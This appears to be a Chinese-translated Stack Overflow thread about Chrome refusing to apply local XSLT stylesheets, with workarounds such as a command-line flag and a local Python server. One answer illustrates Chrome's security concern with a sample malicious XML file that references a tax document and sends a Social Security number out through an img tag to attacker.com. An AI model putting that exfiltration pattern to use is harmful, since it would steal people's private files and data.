【问题标题】:Can Chrome be made to perform an XSL transform on a local file?可以让 Chrome 对本地文件执行 XSL 转换吗?
【发布时间】:2011-04-19 05:43:08
【问题描述】:

我正在研究 xslt 并开始使用 w3schools 上的示例进行测试。

但是,当我将 xml 和 xsl 保存在文件中并尝试在本地打开它们时,chrome 不会执行 xsl 转换。它只是显示一个空白页。

我已将<?xml-stylesheet type="text/xsl" href="style.xsl"> 标记添加到 xml 文档中,Firefox 将其呈现为应有的外观。另外,如果我通过网络服务器查看文件,chrome 会按原样显示文件。

当链接是本地的时,chrome在查找样式表信息时是否有问题?将 href 更改为 file:///C:/xsl/style.xsl 没有任何区别。

更新:这似乎是安全策略to not treat file:///* as same origin. 的副作用这使得控制台中出现以下错误:

不安全的尝试从带有 URL file:///C:/xsl-rpg/data.xml 的框架加载 URL file:///C:/xsl-rpg/style.xsl。域、协议和端口必须匹配。

【问题讨论】:

  • file: 协议看来,Chrome 会抛出相同的域错误。
  • 在 IE11 上有效。 Chrome 越来越邪恶了。

标签: xml xslt google-chrome local


【解决方案1】:

简短的回答是“不,使用diverse set of browsers 之一”

这不起作用的原因是由于 Chrome 以一种有争议的方式解决了安全问题[1][2][3][4],通过阻止 XML 文件访问本地XSLT文件在同一目录下,而HTML文件可以访问同一目录下的.CSS文件。

在上面提到的问题中,用户要求提供更清晰的错误消息(因为域、协议和端口确实匹配),或者至少显示没有样式的 XML。 Chrome 开发者忽略了这些请求。

【讨论】:

  • 虽然他们的security concern 有意义,但XML 文件应该能够从同一目录加载XSL 样式表,就像HTML 文件可以从同一目录加载图像和脚本一样。有一个issue you can star,但 Chrome 开发团队已经禁止在其上使用新的 cmets - 尽管他们抱怨说他们无法量化用户希望本地文件来源放松的程度。
  • 有趣的事实:Mac (8.0) 上的 Safari 与本地 XSLT 配合得很好,但 iOS (8) 模拟器上的 Safari(我想在 iOS 上也是如此)我得到了与 Chrome 中相同的错误“域、协议和端口必须匹配。”。但是,如果我要在应用程序中实现 UIWebView 并使用 XSLT 加载 XML,一切正常。
  • 当任务是修复 chrome 浏览器中的特定 xslt 呈现时,使用另一个浏览器的一点点......
  • 一种适用于 Chromium 的方法是将 XSL 文件作为 data:text/xsl URI 内联到 XML 文件中。
【解决方案2】:

您可以使用 Chrome 的命令行标志在本地执行此操作。

具体标志为--allow-file-access-from-files

在 OS X 上:从 Terminal.app 运行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在 Windows 上:从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意:如果 Chrome 当前正在运行,您可能必须退出 Chrome,否则 Ch

【讨论】:

  • 这似乎不适用于 Windows 7。我发现 chrome.exe 位于此处:C:\Program Files (x86)\Google\Chrome\Application,并且 --allow-file-access-from-files 命令只执行很好,但是我的本地 XML 文档(由本地 XSLT 文件转换)没有显示。
  • 也许你必须手动在 windows 任务管理器中为 chrome.exe 杀死所有正在运行的 windows 进程。对我来说,这很有效。
  • /Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files 为我工作。显然我正在运行 Chrome Canary。运行此命令后,应该会打开一个新的 Chrome 窗口并让您执行 XSL 转换。
  • 在 Windows 7 上更快:窗口键 + R; "chrome --allow-file-access-from-files";输入。
  • 或在 PowerShell 中(为您杀死以前的 chrome):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
【解决方案3】:

如果您想坚持使用 OP,答案是否定的(正如其他人指出的那样),但解决问题的一种方法是运行一个简单的网络服务器并通过 http 在 chrome 中打开文件。如果您安装了 python 2.x,您可以通过键入以下内容来运行网络服务器:

python -m SimpleHTTPServer

或者在 python 3.x 中:

python3 -m http.server

然后在 chrome 中使用 http://localhost:8000/yourfile.xml 打开文件。希望您只是想完成您的工作,而必须使用 file:// 打开文件并不是一件至关重要的事情

【讨论】:

  • 这是一个旧帖子,但很好的提示!我自己使用了 http-server npm 包:)
  • 这是通用解决方案,适用于所有平台,而不是弄清楚如何在不同浏览器上禁用 CORS。竖起大拇指!
【解决方案4】:

在 Chrome 错误页面上进行了一些解读 - 他们非常热衷于不解释问题是什么,以及为什么他们选择破坏所有人而不是不破坏所有人。

假设我有一个 XML 文件 - 某处 - 在我的硬盘上,例如:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

一个恶意实体 - 不知何故 - 设法在我的计算机上放置了一个恶意 Xml 文件,例如:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

想象 TrojanVirusWorm.xml 包含一个样式表处理指令(PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml 文件。

显然有一种方法可以让 XML 文件读取 XSD 文件的内容(而不是被 XSD 文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白 XML 文件如何读取样式表文件。但 Chrome 团队向我们保证,这是一种危险,而且无法解决。

所有其他浏览器都解决了它。他们解决了because it's not a problem

【讨论】:

    【解决方案5】:

    我根据 xsl 文件查看 xml 的解决方法

    假设我们有一个带有标题的 some_file.xml:

    <?xml version="1.0" encoding="UTF-8" ?>
    <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
    
    1. 我们下载文件https://some-site.com/Common.xsl 并将其放在some_file.xml 旁边
    2. 将部分标题从 href="https://some-site.com/Common.xsl" 更改为 href="http://localhost:8001/Common.xsl"
    3. 在包含我们文件的目录中运行 - python3 -m http.server 8001
    4. 在任意浏览器中打开http://localhost:8001/some_file.xml

    【讨论】:

      【解决方案6】:

      您可以通过更改浏览器设置来启用 Chrome 以呈现 XSL 文件。更安全的方法是通过本地网络服务器访问它,例如 Visual Studio Code Live Server 或 Apache。步骤见XSLT Won't Render on Local Files

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2010-11-14
        • 2020-10-06
        • 2012-01-13
        • 2011-05-17
        • 2016-02-02
        • 1970-01-01
        相关资源
        最近更新 更多